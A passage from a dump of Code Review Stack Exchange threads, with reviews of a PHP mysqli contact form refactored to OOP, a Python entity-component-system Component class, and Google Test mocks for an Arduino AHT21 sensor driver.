$this->conn=new mysqli($this->servername, $this->username, $this->password, $this->dbname);
if ($this->conn->connect_error) {
die("Connection failed: " . ($this->conn->connect_error));
}
//return $this->conn;
}
}
</code></pre>
<p>index.php</p>
<pre><code><?php
include_once 'customercontact.php';
include_once 'dbclass.php';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$formvalues=json_decode(file_get_contents('php://input'), true);
$dbcon=new dbclass(); //passing db connection from db class
$tbtable="contact_master"; //table name
$contcatClass=new customercontact($dbcon, $formvalues[0], $tbtable);
echo json_encode($contcatClass->addcontact());
}
?>
</body>
</html>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-05T07:11:36.797",
"Id": "520819",
"Score": "1",
"body": "Welcome to Code Review! Please [edit] your question so that the title describes the *purpose* of the code, rather than its *mechanism*. We really need to understand the motivational context to give good reviews. Thanks!"
}
] |
[
{
"body": "<ul>\n<li><p>Rather than passing the db connection into your constructor, I think it would be cleaner for your constructor to call a method in your DB class which first checks for an existing connection and only creates one if not found. This connection could be fetched by any other method if/when needed. It is best practice to create just one db connection and keep reusing it. Furthermore, not passing in the connection as a parameter will reduce the line length of the class instantiating code -- this is what I mean by "cleaner".</p>\n</li>\n<li><p>Please do not print the actual mysql error directly to the user. While testing this is not so bad, but in production this is a major security vulnerability.</p>\n</li>\n<li><p>As a matter of code styling, please adopt all recommendations from the PSR-12 guidelines. You have inconsistent spacing at language constructs, concatenations, assignments, array elements, and returns.</p>\n</li>\n<li><p>Please only use <code>array_push()</code> when you need to add two or more indexed elements to an array. In all other scenarios, square brace syntax is less verbose, more performant, and I find it easier to read.</p>\n</li>\n<li><p>Instead of using <code>for</code> loops, use <code>foreach()</code>, this avoids declaring and incrementing a counter.</p>\n</li>\n<li><p><code>!empty()</code> is not the most appropriate technique when "truthy" checking a variable which is guaranteed to exist. Because <code>$valuea</code> (a poor variable name, by the way) is guaranteed to exist, <code>if(!empty($valuea)){</code> should become <code>if ($valuea) {</code> -- they are equivalent.</p>\n</li>\n<li><p>I see a couple of places where you are concatenating a zero-width string to a variable. I do not like this technique and it is often a signature that indicates the development has been done in a geographical culture which doesn't always have a reputation for high code quality. Instead, when you NEED to ensure that a variable is string-typed, then cast it as a string for clarity (<code>(string)$variable</code>). That said, if the variable is guaranteed to be string-typed, don't bloat your code with any additional syntax.</p>\n</li>\n<li><p><code>implode()</code>'s default glue is an empty string, this parameter can be omitted when using a zero-width glue string.</p>\n</li>\n<li><p>autoloading seems like a topic worth a look. <a href=\"https://stackoverflow.com/q/12445006/2943403\">https://stackoverflow.com/q/12445006/2943403</a></p>\n</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-26T02:45:06.590",
"Id": "522152",
"Score": "1",
"body": "What is the point of no-comment dv'ing a review?!? Nonsensical, no one wins."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T03:05:55.360",
"Id": "263741",
"ParentId": "263733",
"Score": "3"
}
},
{
"body": "<p>There are a lot of things wrong with your code, but none of them should cause performance or security issues.</p>\n<p>The main thing you are doing is you are using prepared statements. Of course, I would highly encourage you to make the switch to PDO as it is easier to use.</p>\n<p>Some main pain points:</p>\n<ol>\n<li><p><strong>Never expose MySQL errors to the user!</strong> This is potentially a huge security risk, although you never really expose that error in your code, but more importantly you are shooting yourself in the leg by doing this. You should enable mysqli error reporting and log the errors on the server. Only show the information to the user about a general system issue, i.e. code 500. <a href=\"https://stackoverflow.com/a/22662582/1839439\">How to get the error message in MySQLi?</a></p>\n</li>\n<li><p><code>$this->customerDbTable</code> should be a constant. Your SQL should not allow any variable input. For this reason, I would strongly advise avoiding writing <em>smart</em> classes that abstract SQL in this way. Instead, design your data models and have each model perform its operations using constant SQL expressions. (placeholder generation is an exception). The same applies to <code>$this->databasecolomns</code> which should have just been hardcoded SQL.</p>\n</li>\n<li><p><strong>Never use <code>FILTER_SANITIZE_STRING</code></strong>. This filter will be deprecated in PHP 8.1 as it is very harmful and will destroy your data. It does not offer any protection from any attack if that is what you expected.</p>\n</li>\n<li><p>Don't use <code>!empty</code> if you know the variable exists. This is a useless function call.</p>\n</li>\n<li><p>Use array append operator <code>[]</code> instead of <code>array_push()</code>.</p>\n</li>\n<li><p>Each of your methods should have only one responsibility. A method should either return value or produce side effects, but not both.</p>\n</li>\n<li><p>Use strict comparison whenever possible.</p>\n</li>\n<li><p>Don't use redundant and unnecessary syntax. Things like <code>''.$rt.''</code> and <code>$rt=($sqlexpectedValues1[$k]);</code> use syntax that does absolutely nothing.</p>\n</li>\n<li><p>What exactly is going on inside <code>preparesqlstatemen()</code> method? The whole logic there looks like it can be safely simplified.</p>\n<p>Just take a look at how much cleaner the class becomes when we do some basic refactoring:</p>\n<pre><code>class customercontact implements IContactform\n{\n protected $dbconnection;\n\n protected $statusTracker = [];\n\n protected $collectedFormData = [];\n\n protected $customerformrequestingKeys = ["customername", "customeremail", "customerphone", "messageBox"]; //requestind form attribute names\n\n public function __construct($dbcon)\n {\n $this->dbconnection = $dbcon;\n }\n\n public function addcontact(array $formvalues)\n {\n if ($this->validate($formvalues)) {\n $this->insertIntoDatabase();\n $this->statusTracker[] = ["success" => "Received and we will contact you soon"];\n }\n return $this->statusTracker;\n }\n\n private function validate(array $formvalues): bool\n {\n foreach ($this->customerformrequestingKeys as $reqKey) {\n if (!empty($formvalues[$reqKey])) {\n $this->collectedFormData[$reqKey] = $formvalues[$reqKey];\n } else {\n $this->statusTracker[] = ["error" => "$reqKey is Empty"];\n return false;\n }\n }\n return true; //return true if all values are validated and filled\n }\n\n //prepare sqlinsert statement dynamically\n private function insertIntoDatabase(): void\n {\n foreach ($this->collectedFormData as $data) {\n $preparedStatementPlaceHolders[] = "?";\n $sqlexpectedTypes[] = "s";\n $sqlexpectedValues[] = $data;\n }\n\n $sql = $this->conn->prepare("INSERT INTO contact_master(c_name, c_email, c_contact, c_message) VALUES(".implode(",", $preparedStatementPlaceHolders).")");\n $sql->bind_param(implode('', $sqlexpectedTypes), ...$sqlexpectedValues);\n $sql->execute();\n }\n\n public function getcontact()\n {\n }\n}\n</code></pre>\n</li>\n<li><p>The <code>dbclass</code> is absolutely useless. You could enhance it with useful abstraction methods, or you can remove it completely. Either way, you should fix your mysqli connection code. The mysqli connection should take no more no less than 3 lines:</p>\n<pre><code>/* This is a useless class that provides no abstraction */\nclass dbclass\n{\n public $conn;\n\n public function __construct()\n {\n mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);\n $this->conn = new mysqli('localhost', 'root', '', 'contact_form');\n $this->conn->set_charset('utf8mb4'); // always set the charset\n }\n}\n</code></pre>\n</li>\n<li><p>You are doing well by using dependency injection, but it makes no sense to provide everything in the constructor. Instead, do it like this:</p>\n<pre><code>$contcatClass = new customercontact($dbcon);\n\necho json_encode($contcatClass->addcontact($formvalues[0]));\n</code></pre>\n</li>\n<li><p>Implement and stick to PSR-12 coding standard. It will make your code much cleaner. You can use your IDE build-in formatter or use PHP-CS-fixer.</p>\n</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T08:34:09.013",
"Id": "521190",
"Score": "0",
"body": "I am uv'ing this comprehensive answer for its unique touchpoints, but I don't know how I should feel about some of the redundant/overlapping advice relating to things mentioned in my earlier answer. This has happened with other users on pages where I've posted an answer. Maybe I should ask on Meta."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T17:56:45.383",
"Id": "521476",
"Score": "0",
"body": "@Dharman Amazing and trying it"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:29:56.247",
"Id": "263903",
"ParentId": "263733",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "263741",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T19:24:26.533",
"Id": "263733",
"Score": "3",
"Tags": [
"php",
"object-oriented",
"mysql",
"json",
"mysqli"
],
"Title": "OOP - Contact Form PHP Backend - Procedural to OOP - Dynamic MySQL Prepared Statement PHP"
}
|
263733
|
<p>The following implementation seems to pass all initial requirements.
Which were as follows:</p>
<ul>
<li>Store all components in the root class allowing for any scope with a reference to the class
the ability to find or lookup active components</li>
<li>One reference to all components, all others would be weakref's</li>
<li>Ability to create a new component via a factory method</li>
<li>Unique component id's</li>
<li>Grouping of all similar components for fast lookups</li>
</ul>
<p>The goal was a fast and modular component lookup and a way to store the components that didn't have to be passed around. Again the code works in the current scope of the project however my <code>init</code> seems a bit verbose and potentially unnecessary. I'm wondering if there are any obvious flaws or bugs before I move forward and begin work on other portions of the ECS</p>
<pre><code>from __future__ import annotations
from typing import Dict, List, Type
class Component(object):
""" Root Component type in an ECS system """
_type_table: Dict[str:Type] = {} # Hashable ref to all Components -> {class_name:class}
_active_comp_ref: Dict[str:List[Component]] = {} # Ref to all active components
_id = 0 # Count of every object every created
def __init__(self, *args, **kwargs):
self.__instance_id = None
c_type = self.__class__
c_name = c_type.__name__
if c_name not in Component._type_table: # First time creating this type
Component._type_table[c_name] = c_type # Store type
c_type._active_comp_ref = dict() # Create comp ref on subclass
Component._active_comp_ref[c_name] = c_type._active_comp_ref # Store ourselves in ref
self.__initialize_id()
c_type._active_comp_ref[self.id] = self
@staticmethod
def get_component(type_name: str) -> Type[Component]:
""" Return a Component type by name """
return Component._type_table[type_name]
@staticmethod
def get_component_table() -> Dict[str:Dict[int:Component]]:
""" Get the table used to store all Components """
return Component._active_comp_ref
@staticmethod
def component_types() -> Dict[str:Type[Component]]:
""" Get the Component Type Table """
return Component._type_table
@staticmethod
def __next_id():
""" Increment Core ID: Should not be called externally"""
Component._id += 1
return Component._id
@property
def id(self):
""" Unique Instance ID Property """
return self.__instance_id
def __initialize_id(self):
""" Get the next ID and remove this method """
# Done like this to ensure id is set once and only once
self.__instance_id = self.__next_id()
self.__set_id = None
class Transform(Component):
""" Basic Testing class"""
def __init__(self, pos, direction, vel):
super().__init__()
self.pos = pos
self.direction = direction
self.vel = vel
class Health(Component):
""" Basic Testing class"""
def __init__(self, cur_hp, max_hp):
super().__init__()
self.cur_hp = cur_hp
self.max_hp = max_hp
def c_factory(name: str, **kwargs) -> Component:
""" Create a new Component from a name and a dict of attributes """
c = type(name, (Component, ), kwargs)
return c()
# Basic Implementation Tests
t = Transform((100, 100), (1, 0), .1)
t2 = Transform((100, 50), (-1, 1), .2)
Health(10, 100)
f = c_factory("Renderer", surface=None, size=(100, 100))
f.surface = (500, 400, 800)
del f # Should only delete pointer to this?
print(Component.get_component_table()["Renderer"][4].surface) # Obviously not how I plan to do lookups but at this moment i'm not positive on the best way!
Component.get_component("Transform")((10, 10), (0, -1), .5)
print(Component.get_component_table())
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T02:55:01.777",
"Id": "520752",
"Score": "0",
"body": "Which is it - Python 2 or 3? And if it's 2 - why? That's been deprecated for some time."
}
] |
[
{
"body": "<p>Beware: I'm grumpy and opinionated about dynamic types and that's going to colour this review. First I think your requirements themselves need a little commentary:</p>\n<blockquote>\n<p>Store all components in the root class allowing for any scope with a reference to the class the ability to find or lookup active components</p>\n</blockquote>\n<p>Why? You have class definitions. In what reality would you have access to the base component symbol but not the symbols for your other classes e.g. <code>Transform</code>? Why would you ever have only a string name of the class? If this ever does actually happen, rather than your type table machinery, you can import the module containing the class in question and call <code>getattr(module, class_name)</code>.</p>\n<blockquote>\n<p>One reference to all components, all others would be weakref's</p>\n</blockquote>\n<p>Big red flashing warning sign. This is an excellent way to defeat the garbage collector and create rampant memory leaks.</p>\n<blockquote>\n<p>Ability to create a new component via a factory method</p>\n</blockquote>\n<p>Why? Creation of such a dynamic type will harm your static analysis.</p>\n<blockquote>\n<p>Unique component id's</p>\n</blockquote>\n<p>Sure. Your approach, though, seems to assign globally-unique IDs where that's not strictly necessary and could be confusing. Instead, why not have an ID sequence unique to each component class? Said another way, if I dynamically create a <code>Renderer</code> class and then instantiate it, the least surprising thing would be for that first instance to start with an ID of 0 regardless of other component history.</p>\n<blockquote>\n<p>a way to store the components that didn't have to be passed around.</p>\n</blockquote>\n<p>This seems like a solution to a non-problem. Passing around references is a feature, not a bug; and again if you're attempting to be tricky with references you have a perfect recipe for memory leaks.</p>\n<p>With that out of the way, some specifics about your code:</p>\n<ul>\n<li>Don't inherit from <code>object</code> in Python 3</li>\n<li>Don't use double-underscores for things like <code>__instance_id</code>; those are reserved for name mangling</li>\n<li>Your dictionary hints are incorrect, though (bafflingly) they seem to interpret OK. <code>Dict[str:Type]</code> should be <code>Dict[str, Type]</code>.</li>\n<li>The fact that you increment and return your ID in a non-atomic manner means that your code is not thread-safe. I have not attempted to address this in my suggested code, mind you.</li>\n<li><em>Should only delete pointer to this?</em> mischaracterizes how Python works; replacing "pointer" with "reference" will make this statement accurate.</li>\n<li>Why have a factory that forces you to use the dynamic type only once? Return the type, not the instance.</li>\n</ul>\n<p>The following suggested code uses both a base class and a metaclass, to assign statics unique to each subclass. It includes a factory, but does away with your type table. If it were up to me, none of this should exist and if - for example - this is for a game, just do traditional reference passing.</p>\n<pre><code>from pprint import pprint\nfrom types import new_class\nfrom typing import Dict, Type, Tuple, Any, ClassVar, Optional\n\n\nclass Component:\n id_seq: ClassVar[int]\n refs: ClassVar[Dict[int, 'Component']]\n\n def __init__(self):\n cls = type(self)\n self.id = cls.id_seq\n cls.refs[self.id] = self\n cls.id_seq += 1\n\n\nclass ComponentMeta(type):\n def __new__(\n mcs: type,\n name: str,\n bases: Tuple[type, ...],\n dct: Dict[str, Any],\n ) -> Type[Component]:\n cls = super().__new__(mcs, name, (Component, *bases), dct)\n cls.id_seq = 0\n cls.refs = {}\n return cls\n\n\nclass Transform(object, metaclass=ComponentMeta):\n def __init__(\n self,\n pos: Tuple[int, int],\n direction: Tuple[int, int],\n vel: float,\n ):\n super().__init__()\n self.pos, self.direction, self.vel = pos, direction, vel\n\n\nclass Health(metaclass=ComponentMeta):\n def __init__(self, cur_hp: int, max_hp: int):\n super().__init__()\n self.cur_hp, self.max_hp = cur_hp, max_hp\n\n\ndef c_factory(name: str) -> Type[Component]:\n return new_class(name, kwds={'metaclass': ComponentMeta})\n\n\ndef test():\n t = Transform((100, 100), (1, 0), .1)\n t2 = Transform((100, 50), (-1, 1), .2)\n\n Health(10, 100)\n\n Renderer = c_factory('Renderer')\n f = Renderer()\n f.surface = None\n f.size = (100, 100)\n f.surface = (500, 400, 800)\n print(Renderer.refs[0].surface)\n\n t3 = Transform((10, 10), (0, -1), .5)\n\n pprint(Transform.refs)\n\n\nif __name__ == '__main__':\n test()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T15:32:52.513",
"Id": "263755",
"ParentId": "263735",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T21:32:18.353",
"Id": "263735",
"Score": "2",
"Tags": [
"python",
"entity-component-system"
],
"Title": "ECS 'Component' Class in Python similar to Unity's Component class but more pure"
}
|
263735
|
<p>In an Arduino project, I'm using some code which is a slightly modified version of <a href="https://github.com/sparkfun/SparkFun_Qwiic_Humidity_AHT20_Arduino_Library/blob/main/src/SparkFun_Qwiic_Humidity_AHT20.cpp" rel="nofollow noreferrer">a public library</a>. I made several modifications to it:</p>
<ul>
<li>I performed some minor changes I needed to make the code work.</li>
<li>Instead of relying on Arduino library, it makes use of the wrappers, which can be mocked in the tests.</li>
<li>I started adding the actual tests of the class.</li>
</ul>
<p>When writing the tests, I was quite surprised by their complexity—and how unreadable and unmaintainable they are. The tested code itself doesn't seem that complicated: granted, there are multiple possible branches, but it still is relatively basic. Each test of a given execution path seems however overly complex, and doesn't translate much of what the code is doing. I'm pretty sure that when I will found those tests six months later, I would have no idea what they are doing, and shall spend a lot of time trying to figure out how they work. Similarly, any change in the actual code would lead to painful changes in the tests.</p>
<p>Here they are. At least the first five tests I wrote—a few dozens more need to be written in order to cover all the possible code execution paths. The last two tests are particularly illustrative.</p>
<p>What can be done to make them more bearable? Am I doing it completely wrong? Should I be implementing some sort of DSL just for the tests?</p>
<pre class="lang-cpp prettyprint-override"><code>#include "../src/wrappers/AHT21WrapperArduino.h"
#include "../src/wrappers/WireWrapper.h"
#include <gmock/gmock.h>
#include <gtest/gtest.h>
using ::testing::Return;
const int8_t StatusNone = 0b00000000;
const int8_t StatusCalibrated = 0b00001000;
const int8_t StatusBusy = 0b10000000;
class MockTime: public Time {
public:
MOCK_METHOD(long, now, (), (override));
MOCK_METHOD(void, pause, (unsigned long milliseconds), (override));
};
class MockWire: public WireWrapper {
public:
MOCK_METHOD(void, begin, (), (override));
MOCK_METHOD(void, beginTransmission, (uint8_t address), (override));
MOCK_METHOD(uint8_t, endTransmission, (), (override));
MOCK_METHOD(uint8_t, requestFrom, (uint8_t address, uint8_t quantity), (override));
MOCK_METHOD(int, available, (), (override));
MOCK_METHOD(int, read, (), (override));
MOCK_METHOD(size_t, write, (uint8_t data), (override));
};
TEST(AHT21WrapperArduino, Init) {
// Standard initialization, where everything goes as expected.
//
// Expecting calls:
// wire.begin()
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 0
// time.pause(40)
// wire.requestFrom(0x38, 0x01)
// wire.available() -> 1
// wire.read() -> 0b00003000 Device calibrated.
MockTime time;
MockWire wire;
EXPECT_CALL(wire, begin());
EXPECT_CALL(wire, beginTransmission(0x38));
EXPECT_CALL(wire, endTransmission()).WillOnce(Return(0));
EXPECT_CALL(wire, requestFrom(0x38, 0x01));
EXPECT_CALL(wire, available()).WillOnce(Return(1));
EXPECT_CALL(wire, read()).WillOnce(Return(StatusCalibrated));
EXPECT_CALL(time, pause(40));
auto aht21 = AHT21WrapperArduino(time, wire);
auto result = aht21.init();
ASSERT_EQ(0, result);
}
TEST(AHT21WrapperArduino, InitNotConnected) {
// If the device refuses to connect, the init method returns 1.
//
// Expecting calls:
// wire.begin()
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 1
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 1
MockTime time;
MockWire wire;
EXPECT_CALL(wire, begin());
EXPECT_CALL(wire, beginTransmission(0x38)).Times(2);
EXPECT_CALL(wire, endTransmission()).Times(2).WillRepeatedly(Return(1));
EXPECT_CALL(time, pause(20));
auto aht21 = AHT21WrapperArduino(time, wire);
auto result = aht21.init();
ASSERT_EQ(1, result);
}
TEST(AHT21WrapperArduino, InitConnectionSecondChance) {
// One should give a second chance when the first connection fails.
//
// Expecting calls:
// wire.begin()
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 1
// time.pause(20)
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 0
// time.pause(40)
// wire.requestFrom(0x38, 0x01)
// wire.available() -> 1
// wire.read() -> 0b00003000 Device calibrated.
MockTime time;
MockWire wire;
EXPECT_CALL(wire, begin());
EXPECT_CALL(wire, beginTransmission(0x38)).Times(2);
EXPECT_CALL(wire, endTransmission())
.Times(2)
.WillOnce(Return(1))
.WillOnce(Return(0));
EXPECT_CALL(wire, requestFrom(0x38, 0x01));
EXPECT_CALL(wire, available()).WillOnce(Return(1));
EXPECT_CALL(wire, read()).WillOnce(Return(StatusCalibrated));
EXPECT_CALL(time, pause(20));
EXPECT_CALL(time, pause(40));
auto aht21 = AHT21WrapperArduino(time, wire);
auto result = aht21.init();
ASSERT_EQ(0, result);
}
TEST(AHT21WrapperArduino, InitCalibrate) {
// The device should be calibrated, if needed.
//
// Expecting calls:
// wire.begin()
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 0
// time.pause(40)
// wire.requestFrom(0x38, 0x01)
// wire.available() -> 1
// wire.read() -> 0b00000000 Device not calibrated.
// wire.beginTransmission(0x38)
// wire.write(0xBE)
// wire.write(0x80)
// wire.write(0x00)
// wire.endTransmission() -> 0
// wire.beginTransmission(0x38)
// wire.write(0xAC)
// wire.write(0x30)
// wire.write(0x00)
// wire.endTransmission() -> 0
// time.pause(75)
// wire.available() -> 1
// wire.read() -> 0b00001000 Device not busy.
// wire.available() -> 1
// wire.read() -> 0b00001000 Device calibrated.
MockTime time;
MockWire wire;
EXPECT_CALL(wire, begin());
EXPECT_CALL(wire, beginTransmission(0x38)).Times(3);
EXPECT_CALL(wire, endTransmission()).Times(3).WillRepeatedly(Return(0));
EXPECT_CALL(wire, requestFrom(0x38, 0x01)).Times(3);
EXPECT_CALL(wire, available()).Times(3).WillRepeatedly(Return(1));
EXPECT_CALL(wire, read()).Times(3)
.WillOnce(Return(0)) // Device not calibrated.
.WillOnce(Return(StatusCalibrated)) // Device not busy.
.WillOnce(Return(StatusCalibrated)); // Device calibrated now.
EXPECT_CALL(wire, write(0xBE));
EXPECT_CALL(wire, write(0x80));
EXPECT_CALL(wire, write(0xAC));
EXPECT_CALL(wire, write(0x30));
EXPECT_CALL(wire, write(0x00)).Times(2);
EXPECT_CALL(time, pause(40));
EXPECT_CALL(time, pause(75));
auto aht21 = AHT21WrapperArduino(time, wire);
auto result = aht21.init();
ASSERT_EQ(0, result);
}
TEST(AHT21WrapperArduino, InitBusy) {
// If the device is busy, the initialization fails.
//
// Expecting calls:
// wire.begin()
// wire.beginTransmission(0x38)
// wire.endTransmission() -> 0
// time.pause(40)
// wire.requestFrom(0x38, 0x01)
// wire.available() -> 1
// wire.read() -> 0b00000000 Device not calibrated.
// wire.beginTransmission(0x38)
// wire.write(0xBE)
// wire.write(0x80)
// wire.write(0x00)
// wire.endTransmission() -> 0
// wire.beginTransmission(0x38)
// wire.write(0xAC)
// wire.write(0x30)
// wire.write(0x00)
// wire.endTransmission() -> 0
// time.pause(75)
// wire.available() -> 1 ┓ 1
// wire.read() -> 0b10000000 ┃ Device busy.
// time.pause(1) ┛
// wire.available() -> 1 ┓ 2
// wire.read() -> 0b10000000 ┃ Device busy.
// time.pause(1) ┛
// ... ┓ n
// ... ┃
MockTime time;
MockWire wire;
EXPECT_CALL(wire, begin());
EXPECT_CALL(wire, beginTransmission(0x38)).Times(3);
EXPECT_CALL(wire, endTransmission()).Times(3).WillRepeatedly(Return(0));
EXPECT_CALL(wire, requestFrom(0x38, 0x01)).Times(103);
EXPECT_CALL(wire, available()).Times(103).WillRepeatedly(Return(1));
EXPECT_CALL(wire, read()).Times(103)
.WillOnce(Return(0)) // Device not calibrated.
.WillRepeatedly(Return(StatusBusy));
EXPECT_CALL(wire, write(0xBE));
EXPECT_CALL(wire, write(0x80));
EXPECT_CALL(wire, write(0xAC));
EXPECT_CALL(wire, write(0x30));
EXPECT_CALL(wire, write(0x00)).Times(2);
EXPECT_CALL(time, pause(40));
EXPECT_CALL(time, pause(75));
EXPECT_CALL(time, pause(1)).Times(102);
auto aht21 = AHT21WrapperArduino(time, wire);
auto result = aht21.init();
ASSERT_EQ(2, result);
}
</code></pre>
<p>For the sake of completeness, here's the source code under test. Note, however, that the question is not about this piece of code, but rather the test code above.</p>
<pre class="lang-cpp prettyprint-override"><code>#include "AHT21WrapperArduino.h"
#ifdef DEBUG_TESTS
#include <iostream>
#include <bitset>
#endif
AHT21WrapperArduino::AHT21WrapperArduino(Time &time, WireWrapper &wire) :
time { time },
wire { wire } { }
int AHT21WrapperArduino::init() {
#ifdef DEBUG_TESTS
std::cout << "Started the initialization of the device." << std::endl;
#endif
this->wire.begin();
if (!this->isConnected()) {
return 1;
}
this->time.pause(40);
if (!this->isCalibrated()) {
#ifdef DEBUG_TESTS
std::cerr << "The device is not calibrated yet." << std::endl;
#endif
this->initialize();
this->measure();
this->time.pause(75);
uint8_t counter = 0;
while (this->isBusy()) {
this->time.pause(1);
if (counter > 100) {
return 2; // Give up after 100 ms.
}
++counter;
}
if (!this->isCalibrated()) {
return 3;
}
}
#ifdef DEBUG_TESTS
std::cerr << "Initialization finished." << std::endl;
#endif
return 0;
}
int AHT21WrapperArduino::read(float* temperature, float* humidity) {
if (!this->available()) {
return 1;
}
this->measure();
this->time.pause(75);
uint8_t counter = 0;
while (this->isBusy()) {
this->time.pause(1);
if (counter > 100) {
return 2; // Give up after 100 ms.
}
++counter;
}
this->readData();
*temperature = ((float)temperatureData / 1048576) * 200 - 50;
*humidity = ((float)humidityData / 1048576) * 100;
return 0;
}
bool AHT21WrapperArduino::isConnected() {
#ifdef DEBUG_TESTS
std::cerr << "Determining if the device is connected." << std::endl;
#endif
this->wire.beginTransmission(this->deviceAddress);
if (this->wire.endTransmission() == 0) {
#ifdef DEBUG_TESTS
std::cerr << "The device is connected." << std::endl;
#endif
return true;
}
#ifdef DEBUG_TESTS
std::cerr << "Giving the device a second chance." << std::endl;
#endif
// If IC failed to respond, give it 20ms more for Power On Startup.
// See datasheet, page 7.
this->time.pause(20);
this->wire.beginTransmission(this->deviceAddress);
return this->wire.endTransmission() == 0;
}
uint8_t AHT21WrapperArduino::getStatus() {
this->wire.requestFrom(this->deviceAddress, (uint8_t)1);
if (this->wire.available()) {
auto status = this->wire.read();
#ifdef DEBUG_TESTS
auto statusBits = std::bitset<8>(status);
std::cerr << "The status is 0b" << statusBits << "." << std::endl;
#endif
return status;
}
return 0;
}
bool AHT21WrapperArduino::isCalibrated() {
#ifdef DEBUG_TESTS
std::cerr << "Determining if the device is calibrated." << std::endl;
#endif
return this->getStatus() & (1 << 3);
}
bool AHT21WrapperArduino::isBusy() {
#ifdef DEBUG_TESTS
std::cerr << "Determining if the device is busy." << std::endl;
#endif
return this->getStatus() & (1 << 7);
}
bool AHT21WrapperArduino::initialize() {
#ifdef DEBUG_TESTS
std::cerr << "Initializing the device." << std::endl;
#endif
this->wire.beginTransmission(this->deviceAddress);
this->wire.write(0xBE); // Initialize.
this->wire.write(0x80);
this->wire.write(0x00);
return this->wire.endTransmission() == 0;
}
bool AHT21WrapperArduino::measure() {
this->wire.beginTransmission(this->deviceAddress);
this->wire.write(0xAC); // Measure.
this->wire.write(0x30);
this->wire.write(0x00);
return this->wire.endTransmission() == 0;
}
bool AHT21WrapperArduino::available() {
if (this->isBusy()) {
return false;
}
this->readData();
return true;
}
void AHT21WrapperArduino::readData() {
if (this->wire.requestFrom(this->deviceAddress, (uint8_t)6) > 0) {
this->wire.read();
uint32_t incoming = 0;
incoming |= (uint32_t)this->wire.read() << (8 * 2);
incoming |= (uint32_t)this->wire.read() << (8 * 1);
uint8_t midByte = this->wire.read();
incoming |= midByte;
this->humidityData = incoming >> 4;
this->temperatureData = (uint32_t)midByte << (8 * 2);
this->temperatureData |= (uint32_t)this->wire.read() << (8 * 1);
this->temperatureData |= (uint32_t)this->wire.read() << (8 * 0);
this->temperatureData = this->temperatureData & ~(0xFFF00000);
} else {
this->humidityData = 0;
this->temperatureData = 0;
}
}
<span class="math-container">```</span>
</code></pre>
|
[] |
[
{
"body": "<p>I think the last test case is illustrative because you've repeated in comments all the stuff that <em>should</em> have been in the code. Instead of:</p>\n<pre><code>TEST(AHT21WrapperArduino, InitBusy) {\n // If the device is busy, the initialization fails.\n</code></pre>\n<p>try:</p>\n<pre><code>TEST(AHT21WrapperArduino, IfDeviceBusyThenInitFails) {\n</code></pre>\n<p>Instead of:</p>\n<pre><code>// Expecting calls:\n// wire.begin()\n// wire.beginTransmission(0x38)\n// wire.endTransmission() -> 0\n// time.pause(40)\n// wire.requestFrom(0x38, 0x01)\n// wire.available() -> 1\n// wire.read() -> 0b00000000 Device not calibrated.\n// wire.beginTransmission(0x38)\n// wire.write(0xBE)\n</code></pre>\n<p>try:</p>\n<pre><code>InSequence s;\nEXPECT_CALL(wire, begin());\nEXPECT_CALL(wire, beginTransmission(0x38));\nEXPECT_CALL(wire, endTransmission()).WillOnce(Return(0));\nEXPECT_CALL(time, pause(40));\nEXPECT_CALL(wire, requestFrom(0x38, 0x01));\nEXPECT_CALL(wire, available()).WillOnce(Return(1));\nEXPECT_CALL(wire, read()).WillOnce(Return(0)); // Device not calibrated\nEXPECT_CALL(wire, beginTransmission(0x38));\nEXPECT_CALL(wire, write(0xBE));\n</code></pre>\n<p>and so on. (Admittedly I'm not sure whether you need a bunch of <code>.RetiresOnSaturation</code> sprinkled in there.)</p>\n<hr />\n<p>If you find yourself typing the same things over and over, consider pulling out the repeated code into a helper function. For example:</p>\n<pre><code>TEST(AHT21WrapperArduino, IfDeviceBusyThenInitFails) {\n MockTime time;\n MockWire wire;\n auto aht21 = AHT21WrapperArduino(time, wire);\n\n InSequence s;\n expectTransmission(wire, 0x38, {});\n EXPECT_CALL(time, pause(40));\n EXPECT_CALL(wire, requestFrom(0x38, 0x01));\n EXPECT_CALL(wire, available()).WillOnce(Return(1));\n EXPECT_CALL(wire, read()).WillOnce(Return(0)); // Device not calibrated\n expectTransmission(wire, 0x38, {0xBE, 0x80, 0x00});\n expectTransmission(wire, 0x38, {0xAC, 0x30, 0x00});\n EXPECT_CALL(time, pause(75));\n EXPECT_CALL(wire, available()).WillOnce(Return(1));\n</code></pre>\n<p>etc., where <code>expectTransmission</code> is just a C++ function</p>\n<pre><code>static void expectTransmission(MockWire& wire, int deviceAddress,\n std::vector<int> bytes) {\n EXPECT_CALL(wire, beginTransmission(0x38));\n for (int i : bytes) {\n EXPECT_CALL(wire, write(i));\n }\n EXPECT_CALL(wire, endTransmission()).WillOnce(Return(0));\n}\n</code></pre>\n<p>Other than this basic stuff, I don't think there's much to improve here.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
